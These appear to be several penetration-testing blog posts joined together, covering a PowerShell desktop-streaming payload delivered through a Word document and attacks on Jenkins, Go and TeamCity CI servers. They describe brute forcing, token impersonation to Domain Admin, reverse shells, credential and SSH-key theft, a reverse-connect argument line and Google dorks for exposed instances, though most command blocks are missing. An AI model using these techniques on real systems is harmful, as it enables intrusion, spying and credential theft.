Recently, I have been working on an interesting concept. I wanted to use MJPEG to stream images in real time from a target desktop to be able to see the activity of a target user. I literally spent weeks to get it working but in the end, it turned out that a small piece of PowerShell code could be used to achieve this. Anyway, I give you Show-TargetScreen.ps1. This script can stream a target's desktop in real time and the stream could be seen in browsers which support MJPEG (Firefox).
Now, to use it for reverse connect, to avoid having to write a listener/server, I used powercat to run a local relay to which Show-TargetScreen connects and we point Firefox to the local port. So, start a powercat listener and relay to any local port. In the below command, Show-TargetScreen will connect to port 443 and Firefox will connect to Port 9000:
Note that if on a *nix machine, netcat could be used as well.
Now, to be able to stream a user's Desktop, Show-TargetScreen must be used with a client side attack. Let's use it with Out-Word from Nishang. Since like other Nishang scripts, Show-TargetScreen.ps1 loads a function with same name, we should pass an argument -"Show-TargetScreen -Reverse -IPAddress 192.168.1.6 -Port 443", and use it as a payload for Out-Word.
Now, the generated doc file is to be sent to a target. As soon as a target user opens up the Word file, we will have a connect back on the powercat listener which will relay to the configured local port (TCP 9000 in this example).
Now if we point Firefox to http://127.0.0.1:9000, we have a live stream of the target user's Desktop.
Awesome! Isn't it? I recently tried this in couple of pen tests and was quite satisfied with the results.
Couple of things which I would like to improve in future:
- Proxy support
- HTTPS Connection.
Feel free to suggest improvements and submit pull requests. Feedback and comments are welcome.
Day 4 is dedicated to Common abuse set, Lateral movement and Post exploitation.
In the past three days, we discussed how different attacks can be executed against Jenkins (and Hudson), TeamCity, (very briefly) CruiseControl and Go. Some of the readers might have noticed that many attacks looked common and were result of mis-configurations, lack of common security controls and/ or abuse of features. Lets pick things common to the tools we discussed and make a Common Abuse Set out of them.
Common Abuse Set
From the previous posts, the Common Abuse Set for the CI Tools we saw turns out to be:
Missing basic and common security controls
Missing protections against brute force attempts.
Insecure storage of SSH keys and credentials.
Higher privileges on Windows machines for both master and slaves.
The feature of Command Execution at the Operating System level.
Mis-Configuration
Agent on Master
Read permissions to everyone on public instances.
Use of HTTP for login
Not enabling encrypted communication between master and slaves.
Poor Security practices by users
Passwords in build parameters.
Use of username as password specially in case of users local to a CI tool.
Many public instances of these tools
Lets have a quick look at some of them.
(Missing) Security Controls
1. Authentication
CI tools were found to missing even the most basic security control like protection against Brute Force attacks. In fact, Jenkins and Go have no authentication at all in the default installation. If you are following me this blog for past three days, you will find that it is trivial to find instances of these tools on the internet running with the default configurations. This highlights the state of security for these tools.Not many enterprise tools miss these basic controls.
- No Authentication by Default
- No protection against Brute Force attacks in the recommended Matrix based Authorization
- No captcha
- No Password Policy (Complexity, History, Expire time etc.)
- Guest User can be enabled
- Registration enabled by default
- Wait after five failed login attempts in one minute
- No captcha
- No Password Policy (Complexity, History, Expire time etc.)
- No Authentication by Default
- No protection against Brute Force attacks.
- No captcha
- No Password Policy (Complexity, History, Expire time etc.)
2. Insecure Storage of Credentials/SSH Keys
All the tested CI tools store all or some credentials and SSH Keys in insecure format. All of them store SSH Keys in clear text and encrypted credentials from Jenkins could be retrieved in clear text. Its amazing that these tools still do this.
3. Privileges
All the tested CI tools run with either SYSTEM or admin privileges on Windows. This holds true for both masters and slaves/agents. This makes the command execution access much more fruitful from an attacker's view.
Command Execution
The feature of CI tools which allow execution of Operating System commands by adding build steps is what makes them special. In most of the widely used enterprise tools, the ability to execute OS commands is uncommon. This ability makes CI tools a useful target. Add to it the capability of distributed builds and by compromising the master an attacker can execute commands on large number of slaves.
Mis-configuration
Agent on master
Documentation of all the tested CI tools do not recommend having a build executor or agent on master. Still, Jenkins install it by default and TeamCity provides it in the same installation package. Only Go needs a user to download a separate installation for agent on master. We have already seen that an agent on master makes all security useless.
Lateral Movement and Post Exploitation
The kind of access we have with CI tools makes it possible to do much more interesting stuff in a network other than just a reverse shell.
Domain Admin
Because CI Tools we discussed support distributed builds, in an enterprise environment it is quite possible to spot machines (master and/or slave) where a credentials of a high privileged user like a Common Local Admin or a Domain Admin are available. Note that even if master runs on *nix, there are almost always slaves running on Windows.
Lets assume this scenario. We have access to Jenkins or any other tool and the ability to configure builds on many slaves and one of the slaves has a process running as Domain Administrator. We can use PowerShell (and other tools as well) to enumerate and reuse the token and escalate to Domain Admin. We can use Invoke-TokenManipulation from PowerSploit for enumeration and impersonation.We can use the below command in a Jenkins build step for downloading and executing the script in memory:
Since the Jenkins runs as SYSTEM, this will list all the available tokens.
Note that there is a token for the Domain Administrator. Now we can use the below command in Jenkins build step to run Invoke-TokenManipulation in memory, impersonate the token of Domain Administrator and run the Get-Process cmdlet on the Domain Controller.
And the result looks like:
Awesome! We just executed command on the domain controller as a domain admin. Too easy? Try it in an environment where you are authorized to do so and get pleasantly surprised ;)
Please note that we assumed that the enumeration of name of Domain Admins and the Domain Controller was done already (which is trivial). Also, even if we cannot find a privileged user on any of the slaves, we can always try querying other machines in the network from the slave machines we have access to ;) Note that while querying other machines in a domain we must impersonate a domain user on the slave machine to be able to interact with Active Directory.
Linux machines
While testing the CI tools, we regularly got hands on SSH keys. These SSH keys could be used to access version control and Linux hosts.
Lets assume this scenario. We got access to a Jenkins instance. We can retrieve and use SSH key to login to a Linux machine (root or normal user depending upon the keys). As we saw in Day 1, SSH keys in Jenkins are stored in clear either in $JENKINS_HOME or credentials.xml. We can also retrieve the passphrase. More than often, we will be able to login to a large number of slaves.
Lets read credentials.xml and see if there are any private SSH keys there.
Seems like there is a private key for a user named "ubuntuadmin" which has passphrase (encrypted). We can retreive the pass phrase using the method discussed in Day 1. Now, the only missing part is on which machine the key could be used. For that, either we need to see build logs to find any logs regarding this key use or simply try it on all the Linux machines available.
Also, to use the key with Putty, we need to convert it in putty format using puttygen.
And then:
Neat! It just depends on the kind of confugration and usage of CI Tools in the target network. Source code repositories, version control systems and databases are also often accessible after compromising a CI tool.
Video Demonstration
Hope you enjoyed the post! Feedback and comments are welcome :)
To support my research, join me for a two days training "PowerShell for Penetration Testers" at:
Welcome to the Day 3 of the Week of Continuous Intrusion Tools. We are having a look at the attack surface and abuse of Continuous Integration (CI) tools.
To read posts of other days refer the table below:
Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation (Click Here)
Day 5 - Defense and other discussion (Click Here)
Day 3 is dedicated to Go. Go is an open source CI Tool. It is available here. Like previously discussed CI tools, Go supports distributed builds. That is, getting access to a Go Server provides access to not only the agents but to good amount of source code and much more!
Some of the security issues to be noticed with Go:
No authentication in the default installation.
No protection against brute force attacks (repeated login attempts).
No password complexity/policy for user passwords.
Runs with SYSTEM or high privilege user on Windows (most configs settle with an admin account).
Unfortunately, there are not many public instances of Go to be able to comment on the information leaked by them (see the Google Dorks section). Almost all the Go servers I did a pen test on were internal ones with regularly having no authentication at all.
To be able to do something interesting at the Operating System level we must have the Pipeline Group Administrator privileges (which is a non admin privilege). I was unable to find a way to enumerate users so some OSINT has to be used to locate developers, source code management teams and build support teams in the target enterprise (doing a ruthless Brute Force may be useless). I am not going to cover that in this post. We have to make an assumption of getting access to a Pipeline Group Administrator user.
Executing Commands
Having the ability to add/edit jobs in a Pipeline, once again, we can execute commands on the OS level. We must configure a job which runs custom commands. See this documentation.
And this is how the output looks like:
Nice! SYSTEM privileges yet again.
Now, lets see how we can use one very useful PowerShell shell to get a reverse connect. Though Go may not be one of the best tools to show this demo due to the lack of its public instance, lets use only ICMP communication to get a reverse shell. We will use Invoke-PowerShellIcmp from Nishang. This reverse shell communicates completely over ICMP and needs a listener on Linux from the icmpsh suite. See my earlier blog post detailing its use here. After setting up the listener, we will modify Invoke-PowerShellIcmp to remove help contents and make the function call from the script itself, now we can use Invoke-Encode from Nishang to compress and base64 encode it. Now, it could be used in the custom command as below:
and on the listener we can see:
Great! We got an ICMP reverse shell!
Now, if we have the ability to add/edit jobs on master. We can execute some more interesting attacks. Here we must note that Go does not have an agent on master and it doesn't even come in the same installation bundle. But for some reasons, people just love to run an agent on the master computer.
Removing Security
If we have the ability to add/edit jobs on master, we can remove all the security from a Go Server. We must either remove the file cruise-config.xml from the config directory in Go installation directory or remove the part of it or we can add the current user to in the part of cruise-config.xml. The Go Server service must be restarted after that. Now, anyone with the url will have administrative rights on the Go Server.
Below commands could be used to remove security from a Go Server (deletes cruise-config.xml and restarts the Go Server service)
Credentials storage in cleartext
SSH
keys are stored in cleartext on the disk. A user with ability to
configure jobs on master can read the keys. Location of SSH keys is:
C:/Program Files (x86)/Go Server/%HOMEDRIVE%%HOMEPATH%/.ssh on Windows
/var/go/.ssh on Linux
Another interesting security issue is that to create users Go allows to use a file base authentication. Read the documentation here.
The password in such a file is a base64 encoded SHA-1 with no salt. It
is not hard to compute the password in cleartext once we have access to
that file specially when Go doesn't enforce any password complexity. We
can get to know if File based authentication is being used by looking
for "passwordFile path" in the cruise-config.xml
CruiseControl
CruiseControl used to be very widely used with separate forks for .Net and Ruby. You can get it from here. We will have only a very quick look at CruiseControl as it is an old software but still there are public instances and I spot it regularly in internal pen tests.
It has no authentication by default. Commands could be executed by adding an “exec” builder in the Schedule category. Make sure to check out the /dashboard and /cruisecontrol on a CruiseControl instance.
Google Dorks
Following Google Dorks could be used to find public instances (too few) of Go
Public instances: intitle:"Go - Login" inurl:go/auth/
Public instances with no authentication: intitle:"Administration - Go" inurl:/go/admin
Public instances of CruiseControl: intitle:"CruiseControl - Dashboard"
The information available with public instances of TeamCity is mind boggling! I saw web portal credentials, database credentials, hidden services and code repositories and much more on some public instances. We may not require compromising TeamCity to get access to intellectual property of an organization, much could be gathered from the instance.
But to access the Operating System and do more fun stuff we must have a Project Administrator privilege (non-admin). This user role has the capability of Adding/Editing build steps.
Fortunately, TeamCity has some protection against Brute Force attacks. It locks a user for one minute after five consecutive wrong login attempts within a minute. Also, it sends the password in encrypted form in transit. Still, since it does not enforce any password policy on user passwords, it is still possible with reasonable success to brute force it.
To enumerate users, we can either go through [TeamCityUrl]/viewLog.html?buildId=1 and iterate through it to look for user who triggered the build or a better way is to use its API and iterate through [TeamCityUrl]/app/rest/builds/id:1 and look for "user" tag. There are generally enough manually triggered builds to enumerate a good number of users.
After building a list of users, we can use the API to brute force credentials. TeamCity API allows access using Basic Auth :) We can use Burp Intruder to launch a brute force attack against TeamCity (or any other tool of choice). To use Intruder against Basic Auth see this tutorial. Success looks like this:
Keep in mind that TeamCity blocks a user for one minute after five consecutive login attempts, using delay is advised. We should keep trying unless access to a Project Administrator is achieved.
Having the privileges to Configure builds we can do interesting stuff.
Executing Commands
As a Project Administrator we can add Build Steps. A Build Step with PowerShell runner is an excellent choice on a Windows machine. (On *nix machines Shell commands and scripts could be executed)
And when the Project is run:
Sweet! We have SYSTEM privileges.
Now, lets use some PowerShell hackery to improve the result of the above. In a restricted environment, we may have only limited options for a connect back. Lets use Invoke-PoshRatHttps.ps1 from Nishang. Thanks to Casey, this shell makes a valid HTTPS connection between a target and a listener. Also, its client part is quite small and we just need to execute one line of PowerShell on the target.
On the attacker's machine, just the Invoke-PoshRatHttps listener needs to be started. As soon as the build is triggered:
Awesome! Encrypted traffic between the attacker and the client. I don't stress using PowerShell for nothing :)
Now, if we have the capability of configuring builds on master, few more interesting things can be done.
Super User
TeamCity has a special user called Super User "which allows you to access the server UI with System Administrator permissions if you do not remember the credentials or need to fix authentication-related settings". Documentation about it is here. To login as a Super User we must have the Super User authentication token which could be found in the teamcity-server.log file. In a default installation on Windows, the file is located in the C:\TeamCity\logs\ directory. Following simple PowerShell command could be used to read the token from a Windows master:
After getting the token, it could either be used with a blank username at the TeamCity login page or at [TeamCityUrl]/login.html?super=1. This is how a Super User login looks like:
Great! Interestingly, a Super User token is regenerated only when the TeamCity Server service is restarted. Also, there can be any number of Super User logins simultaneously. It means once you get access to a Super User token, it could provide a reasonable long access to the TeamCity instance.
Fun Fact: We can lock out Super User for one minute by attempting to login with a blank username and password on TeamCity login page. Though I have not tried it, a Super User may be locked for longer duration by scripting the login attempts.
SSH Keys in clear
TeamCity allows users to upload SSH keys for projects. These keys, which are the private ones, are stored in clear on the master! Read the documentation here.Whats worse is we can read the keys if we have the ability to configure builds on the master. The keys are stored in the [TeamCity Data Directory]\config\projects\[project]\pluginData\ssh_keys directory. We can get the Data Directory from the teamcity-server.log file.
Bingo! May I remind you that we are in 2015 :)
Google Dorks
Use the below Google Dorks to spot public instances of TeamCity:
Instances with Guest login enabled: intitle:"Projects - TeamCity"
Instances which allow Registration of new account: "intitle:Register a new account – TeamCity"
TeamCity instances have very sensitive information. The below screenshots are just examples, there is a gold mine out there.
In the below screenshot, the build log contained url of a product under development along with the credentials to access it with admin privileges.
The one below had credentials for the database administrator sa account password. The public IP address of the database was visible in another build log.
Unserialization Vulnerability
As far as I know, TeamCity does not use the affected library.
Video Demonstration
A quick video demonstration of attacks discussed above:
Hope you enjoyed the post! Feedback and comments are welcome :)
To support my research, join me for a two days training "PowerShell for Penetration Testers" at:
BlackHat, Asia (March 29-30th, 2016) - https://www.blackhat.com/asia-16/training/powershell-for-penetration-testers.html